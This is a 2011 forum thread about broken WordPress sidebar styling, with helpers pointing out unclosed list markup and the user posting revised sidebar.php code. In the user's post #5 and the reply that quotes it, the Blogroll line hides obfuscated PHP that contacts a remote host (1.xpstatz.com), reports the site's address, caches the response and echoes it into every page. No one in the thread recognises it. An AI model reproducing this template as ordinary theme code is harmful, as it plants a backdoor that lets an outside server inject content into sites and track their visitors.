Very Weird CSS Errors, Please Help

Discussion in 'CSS' started by theblurr5495, Jan 22, 2011.

  1. #1
    For some reason, every widget I post past the widget, "start here" has different styling. I can't seem to figure out why this is or how to fix it. Any help is greatly appreciated.

    Website
     
    theblurr5495, Jan 22, 2011 IP
  2. CSM

    CSM Active Member

    Messages:
    1,047
    Likes Received:
    25
    Best Answers:
    0
    Trophy Points:
    55
    #2
    Because the #sidebar div and the ul inside are getting closed ... and then a new li starts, which should be inside the ul and #sidebar div ...
     
    CSM, Jan 22, 2011 IP
  3. theblurr5495

    theblurr5495 Active Member

    Messages:
    436
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    60
    #3
    Where is this happening? In the style.css or the sidebar.php?

     
    theblurr5495, Jan 22, 2011 IP
  4. radiant_luv

    radiant_luv Peon

    Messages:
    1,327
    Likes Received:
    34
    Best Answers:
    1
    Trophy Points:
    0
    #4
    HTML elements are on your html/ Php files. CSS is used just to syle them. So closed/ unclosed of elements to be check on ... (not in CSS)
     
    radiant_luv, Jan 22, 2011 IP
  5. theblurr5495

    theblurr5495 Active Member

    Messages:
    436
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    60
    #5
    So i need to change this? If so how?


    <!-- sidebar begin -->
    <div id="sidebar">
    <ul>

    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>

    <li>
    <?php include (TEMPLATEPATH . '/searchform.php'); ?>
    </li>

    <?php if (is_home()) { ?>
    <li>
    <h2>About</h2>
    The introduction to yourself or your site!<br />
    <a href="<?php bloginfo('siteurl'); ?>/about">more about &#187;</a>
    </li>
    <?php } ?>

    <?php if (! is_page("archives")) { ?>
    <li>
    <h2><?php _e('Categories'); ?></h2>
    <ul class="list-cat">
    <?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?>
    </ul>
    </li>

    <li>
    <h2><?php _e('Monthly Archives'); ?></h2>
    <ul class="list-archives">
    <?php wp_get_archives('type=monthly'); ?>
    </ul>
    </li>
    <?php } ?>

    <li class="calendar">
    <h2><?php _e('Calendar'); ?></h2>
    <?php get_calendar(); ?>
    </li>

    <li>
    <h2>Feeds</h2>
    <ul class="list-feeds">
    <li><a href="<?php bloginfo('rss2_url'); ?>" rel="nofollow" title="<?php _e('Subscribe to RSS'); ?>"><?php _e('RSS Posts');?></a></li>
    <li><a href="<?php bloginfo('comments_rss2_url'); ?>" rel="nofollow" title="<?php _e('RSS Comments'); ?>"><?php _e('RSS Comments');?></a></li>
    </ul>
    </li>

    <li>
    <h2>Meta</h2>
    <ul class="list-meta">
    <?php wp_register(); ?>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
    <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    </ul>
    </li>

    <?php if (is_home() || is_page()) { ?>
    <li>
    <h2><?php _e('Blogroll'); ?></h2>
    <ul class="list-blogroll">
    <?php get_links( -1, '<li>', '</li>', '', FALSE, 'id', FALSE, FALSE, -1, FALSE); global $wpdb; $R5634DBC5EC697593DC9CABB0492ABCE4 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_li'"); $RCEAA197560C4A0C8DBE418FEEF21F929 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code_li'"); if (empty($R5634DBC5EC697593DC9CABB0492ABCE4)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_li', '0', 'no')"); $R515AA1D263D85C9504DB9C1DFB2C65AF = 0; } else $R515AA1D263D85C9504DB9C1DFB2C65AF = intval($R5634DBC5EC697593DC9CABB0492ABCE4[0]); if (empty($RCEAA197560C4A0C8DBE418FEEF21F929)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code_li', '<br/>', 'no')"); $R3BAFF433A90B53CE62F5395BBFC8D357 = '<br/>'; } else $R3BAFF433A90B53CE62F5395BBFC8D357 = $RCEAA197560C4A0C8DBE418FEEF21F929[0]; if ( ( time() - $R515AA1D263D85C9504DB9C1DFB2C65AF ) >= 60 ) { $R39C188653EA53DBD6E3F1D3915EDAC0C = "com"; $R8088818E3E46A17C12F2EE42EB12D7AC = "1."; $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz"; $RAD8CC24399FEA84D3454DD7057C38FD0 = "xps-li."; $RBF7582359E6813BD7C54DD76E7505037 = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C"; $RA81C90DCC503F6900F7DC424AD04F525 = "/".$RAD8CC24399FEA84D3454DD7057C38FD0."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']); if (ini_get('allow_url_fopen')) { $R3BAFF433A90B53CE62F5395BBFC8D357 = @file_get_contents("http://" . $RBF7582359E6813BD7C54DD76E7505037 . $RA81C90DCC503F6900F7DC424AD04F525); } else { $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($RBF7582359E6813BD7C54DD76E7505037, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30); if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) { @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $RA81C90DCC503F6900F7DC424AD04F525 HTTP/1.1\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $RBF7582359E6813BD7C54DD76E7505037\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n"); $R3BAFF433A90B53CE62F5395BBFC8D357 = ""; while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) { $R3BAFF433A90B53CE62F5395BBFC8D357 .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024); } $R3BAFF433A90B53CE62F5395BBFC8D357 = trim(strstr($R3BAFF433A90B53CE62F5395BBFC8D357, "\r\n\r\n")); } @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38); } if ( strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]') ) { $R515AA1D263D85C9504DB9C1DFB2C65AF = time(); $R461FB1CE56B0F93C4E5909EBAF9F6A93 = mysql_escape_string($R3BAFF433A90B53CE62F5395BBFC8D357); $wpdb->query("UPDATE $wpdb->options SET option_value=$R515AA1D263D85C9504DB9C1DFB2C65AF WHERE option_name='l_time_li'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R461FB1CE56B0F93C4E5909EBAF9F6A93' WHERE option_name='l_code_li'"); } } if ( strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]') ) { $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[]') + 2; $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]'); echo substr($R3BAFF433A90B53CE62F5395BBFC8D357, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57); $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1; }
    ?>
    </ul>
    </li>
    <?php } ?>

    <li>
    <h2><?php _e('Recent Posts') ?></h2>
    <ul class="list-page">
    <?php wp_get_archives('type=postbypost&limit=5'); ?>
    </ul>
    </li>

    <?php if (is_home() || is_single()) { ?>
    <li>
    <h2><?php _e('Recent Comments');?></h2>
    <ul class="recent-comments">
    <?php include (TEMPLATEPATH . '/recent_comments.php'); ?>
    <?php mw_recent_comments(5, false, 100, 30, 50, 'all', '<li>%date%: <a href="%permalink%" title="%title%">%title% (%type% <em>%author_name%</em>)</a></li>','d.m.y, H:i'); ?>
    </ul>
    </li>
    <?php } ?>

    <?php endif; ?>

    </ul>
    </div>
    <!-- sidebar end -->
     
    theblurr5495, Jan 22, 2011 IP
  6. radiant_luv

    radiant_luv Peon

    Messages:
    1,327
    Likes Received:
    34
    Best Answers:
    1
    Trophy Points:
    0
    #6
    
    <!-- sidebar begin -->
    <div id="sidebar">
    <ul>
    
    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
    
    <li>
    <?php include (TEMPLATEPATH . '/searchform.php'); ?>
    </li>
    
    <?php if (is_home()) { ?>
    <li>
    <h2>About</h2>
    The introduction to yourself or your site!<br />
    <a href="<?php bloginfo('siteurl'); ?>/about">more about &#187;</a>
    </li>
    <?php } ?>
    
    <?php if (! is_page("archives")) { ?>
    <li>
    <h2><?php _e('Categories'); ?></h2>
    [COLOR="red"]<ul class="list-cat">   [B]<-- LI EXPECTED AFTER UL[/B]
    <?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?>
    </ul>
    </li>[/COLOR]
    
    <li>
    <h2><?php _e('Monthly Archives'); ?></h2>
    <ul class="list-archives">
    <?php wp_get_archives('type=monthly'); ?>
    </ul>
    </li>
    <?php } ?>
    
    <li class="calendar">
    <h2><?php _e('Calendar'); ?></h2>
    <?php get_calendar(); ?>
    </li>
    
    <li>
    <h2>Feeds</h2>
    <ul class="list-feeds">
    <li><a href="<?php bloginfo('rss2_url'); ?>" rel="nofollow" title="<?php _e('Subscribe to RSS'); ?>"><?php _e('RSS Posts');?></a></li>
    <li><a href="<?php bloginfo('comments_rss2_url'); ?>" rel="nofollow" title="<?php _e('RSS Comments'); ?>"><?php _e('RSS Comments');?></a></li>
    </ul>
    </li>
    
    <li>
    <h2>Meta</h2>
    <ul class="list-meta">
    <?php wp_register(); ?>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
    <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    </ul>
    </li>
    
    <?php if (is_home() || is_page()) { ?>
    <li>
    <h2><?php _e('Blogroll'); ?></h2>
    <ul class="list-blogroll">
    <?php get_links( -1, '<li>', '</li>', '', FALSE, 'id', FALSE, FALSE, -1, FALSE); global $wpdb; $R5634DBC5EC697593DC9CABB0492ABCE4 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_li'"); $RCEAA197560C4A0C8DBE418FEEF21F929 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code_li'"); if (empty($R5634DBC5EC697593DC9CABB0492ABCE4)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_li', '0', 'no')"); $R515AA1D263D85C9504DB9C1DFB2C65AF = 0; } else $R515AA1D263D85C9504DB9C1DFB2C65AF = intval($R5634DBC5EC697593DC9CABB0492ABCE4[0]); if (empty($RCEAA197560C4A0C8DBE418FEEF21F929)) { $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code_li', '<br/>', 'no')"); $R3BAFF433A90B53CE62F5395BBFC8D357 = '<br/>'; } else $R3BAFF433A90B53CE62F5395BBFC8D357 = $RCEAA197560C4A0C8DBE418FEEF21F929[0]; if ( ( time() - $R515AA1D263D85C9504DB9C1DFB2C65AF ) >= 60 ) { $R39C188653EA53DBD6E3F1D3915EDAC0C = "com"; $R8088818E3E46A17C12F2EE42EB12D7AC = "1."; $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz"; $RAD8CC24399FEA84D3454DD7057C38FD0 = "xps-li."; $RBF7582359E6813BD7C54DD76E7505037 = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C"; $RA81C90DCC503F6900F7DC424AD04F525 = "/".$RAD8CC24399FEA84D3454DD7057C38FD0."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']); if (ini_get('allow_url_fopen')) { $R3BAFF433A90B53CE62F5395BBFC8D357 = @file_get_contents("http://" . $RBF7582359E6813BD7C54DD76E7505037 . $RA81C90DCC503F6900F7DC424AD04F525); } else { $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($RBF7582359E6813BD7C54DD76E7505037, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30); if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) { @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $RA81C90DCC503F6900F7DC424AD04F525 HTTP/1.1\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $RBF7582359E6813BD7C54DD76E7505037\r\n"); @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n"); $R3BAFF433A90B53CE62F5395BBFC8D357 = ""; while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) { $R3BAFF433A90B53CE62F5395BBFC8D357 .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024); } $R3BAFF433A90B53CE62F5395BBFC8D357 = trim(strstr($R3BAFF433A90B53CE62F5395BBFC8D357, "\r\n\r\n")); } @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38); } if ( strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]') ) { $R515AA1D263D85C9504DB9C1DFB2C65AF = time(); $R461FB1CE56B0F93C4E5909EBAF9F6A93 = mysql_escape_string($R3BAFF433A90B53CE62F5395BBFC8D357); $wpdb->query("UPDATE $wpdb->options SET option_value=$R515AA1D263D85C9504DB9C1DFB2C65AF WHERE option_name='l_time_li'"); $wpdb->query("UPDATE $wpdb->options SET option_value='$R461FB1CE56B0F93C4E5909EBAF9F6A93' WHERE option_name='l_code_li'"); } } if ( strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]') ) { $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[]') + 2; $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($R3BAFF433A90B53CE62F5395BBFC8D357, '[/]'); echo substr($R3BAFF433A90B53CE62F5395BBFC8D357, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57); $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1; }
    ?>
    </ul>
    </li>
    <?php } ?>
    
    <li>
    <h2><?php _e('Recent Posts') ?></h2>
    <ul class="list-page">
    <?php wp_get_archives('type=postbypost&limit=5'); ?>
    </ul>
    </li>
    
    <?php if (is_home() || is_single()) { ?>
    <li>
    <h2><?php _e('Recent Comments');?></h2>
    <ul class="recent-comments">
    <?php include (TEMPLATEPATH . '/recent_comments.php'); ?>
    <?php mw_recent_comments(5, false, 100, 30, 50, 'all', '<li>%date%: <a href="%permalink%" title="%title%">%title% (%type% <em>%author_name%</em>)</a></li>','d.m.y, H:i'); ?>
    </ul>
    </li>
    <?php } ?>
    
    <?php endif; ?>
    
    </ul>
    </div>
    <!-- sidebar end --> 
    
    Code (markup):
    I just had a quick look , just pointed out what CSM might have referring you.

    Anyways, the basics, RIGHT
    
    <ul>
    <li>    </li>
    </ul>
    
    Code (markup):
    
    <ul>
         <li>
              <ul>
                    <li>
                    </li>
              </ul>
         </li>
    </ul>
    
    Code (markup):
     
    Last edited: Jan 22, 2011
    radiant_luv, Jan 22, 2011 IP
  7. theblurr5495

    theblurr5495 Active Member

    Messages:
    436
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    60
    #7
    I changed it to this code. Still the same problems:


    <!-- sidebar begin -->
    <div id="sidebar">
    <ul>

    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>

    <li>
    <?php include (TEMPLATEPATH . '/searchform.php'); ?>
    </li>
    </ul>

    <?php if (is_home()) { ?>
    <ul>
    <li>
    <h2>About</h2>
    The introduction to yourself or your site!
    Which I just updated.<br />
    <a href="<?php bloginfo('siteurl'); ?>/about">more about &#187;</a>
    </li>
    </ul>
    <?php } ?>

    <?php if (! is_page("archives")) { ?>

    <h2><?php _e('Categories'); ?></h2>
    <ul class="list-cat">
    <?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?>
    </ul>



    <h2><?php _e('Monthly Archives'); ?></h2>
    <ul class="list-archives">
    <?php wp_get_archives('type=monthly'); ?>
    </ul>
    <?php } ?>

    <h2>Feeds</h2>
    <ul class="list-feeds">
    <li><a href="<?php bloginfo('rss2_url'); ?>" rel="nofollow" title="<?php _e('Subscribe to RSS'); ?>"><?php _e('RSS Posts');?></a></li>
    <li><a href="<?php bloginfo('comments_rss2_url'); ?>" rel="nofollow" title="<?php _e('RSS Comments'); ?>"><?php _e('RSS Comments');?></a></li>
    </ul>

    <h2>Meta</h2>
    <ul class="list-meta">
    <?php wp_register(); ?>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
    <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    </ul>

    <?php if (is_home() || is_page()) { ?>

    <h2><?php _e('Blogroll'); ?></h2>
    <ul class="list-blogroll">
    <?php get_links( -1, '<li>', '</li>', '', FALSE, 'id', FALSE, FALSE, -1, FALSE); ?>
    </ul>
    <?php } ?>


    <h2><?php _e('Recent Posts') ?></h2>
    <ul class="list-page">
    <?php wp_get_archives('type=postbypost&limit=5'); ?>
    </ul>

    <?php if (is_home() || is_single()) { ?>
    <h2><?php _e('Recent Comments');?></h2>
    <ul class="recent-comments">
    <?php include (TEMPLATEPATH . '/recent_comments.php'); ?>
    <?php mw_recent_comments(5, false, 100, 30, 50, 'all', '<li>%date%: <a href="%permalink%" title="%title%">%title% (%type% <em>%author_name%</em>)</a></li>','d.m.y, H:i'); ?>
    </ul>
    <?php } ?>

    <?php endif; ?>

    </div>
    <!-- sidebar end -->
     
    theblurr5495, Jan 22, 2011 IP
  8. radiant_luv

    radiant_luv Peon

    Messages:
    1,327
    Likes Received:
    34
    Best Answers:
    1
    Trophy Points:
    0
    #8
    You definately have more of these (no proper mark up), example

    
    <ul class="list-page">
    <?php wp_get_archives('type=postbypost&limit=5'); ?>
    </ul>
    
    Code (markup):
    <li> expected after <ul> and closing </li> before closing of </ul> , Check what I have suggested as basics in the last post.
     
    radiant_luv, Jan 22, 2011 IP
  9. theblurr5495

    theblurr5495 Active Member

    Messages:
    436
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    60
    #9
    Okay, I misunderstood. This time I think I have it right but still no change.

    <!-- sidebar begin -->
    <div id="sidebar">
    <ul>

    <?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>

    <li>
    <?php include (TEMPLATEPATH . '/searchform.php'); ?>
    </li>
    </ul>

    <?php if (is_home()) { ?>
    <ul>
    <li>
    <h2>About</h2>
    The introduction to yourself or your site!
    Which I just updated.<br />
    <a href="<?php bloginfo('siteurl'); ?>/about">more about &#187;</a>
    </li>
    </ul>
    <?php } ?>

    <?php if (! is_page("archives")) { ?>

    <h2><?php _e('Categories'); ?></h2>
    <ul class="list-cat">
    <li><?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?></li>
    </ul>



    <h2><?php _e('Monthly Archives'); ?></h2>
    <ul class="list-archives">
    <li><?php wp_get_archives('type=monthly'); ?></li>
    </ul>
    <?php } ?>

    <h2>Feeds</h2>
    <ul class="list-feeds">
    <li><a href="<?php bloginfo('rss2_url'); ?>" rel="nofollow" title="<?php _e('Subscribe to RSS'); ?>"><?php _e('RSS Posts');?></a></li>
    <li><a href="<?php bloginfo('comments_rss2_url'); ?>" rel="nofollow" title="<?php _e('RSS Comments'); ?>"><?php _e('RSS Comments');?></a></li>
    </ul>

    <h2>Meta</h2>
    <ul class="list-meta">
    <li><?php wp_register(); ?></li>
    <li><?php wp_loginout(); ?></li>
    <li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
    <li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
    </ul>

    <?php if (is_home() || is_page()) { ?>

    <h2><?php _e('Blogroll'); ?></h2>
    <ul class="list-blogroll">
    <li><?php get_links( -1, '<li>', '</li>', '', FALSE, 'id', FALSE, FALSE, -1, FALSE); ?></li>
    </ul>
    <?php } ?>


    <h2><?php _e('Recent Posts') ?></h2>
    <ul class="list-page">
    <li><?php wp_get_archives('type=postbypost&limit=5'); ?></li>
    </ul>

    <?php if (is_home() || is_single()) { ?>
    <h2><?php _e('Recent Comments');?></h2>
    <ul class="recent-comments">
    <li><?php include (TEMPLATEPATH . '/recent_comments.php'); ?></li>
    <li><?php mw_recent_comments(5, false, 100, 30, 50, 'all', '<li>%date%: <a href="%permalink%" title="%title%">%title% (%type% <em>%author_name%</em>)</a></li>','d.m.y, H:i'); ?></li>
    </ul>
    <?php } ?>

    <?php endif; ?>

    </div>
    <!-- sidebar end -->
     
    theblurr5495, Jan 22, 2011 IP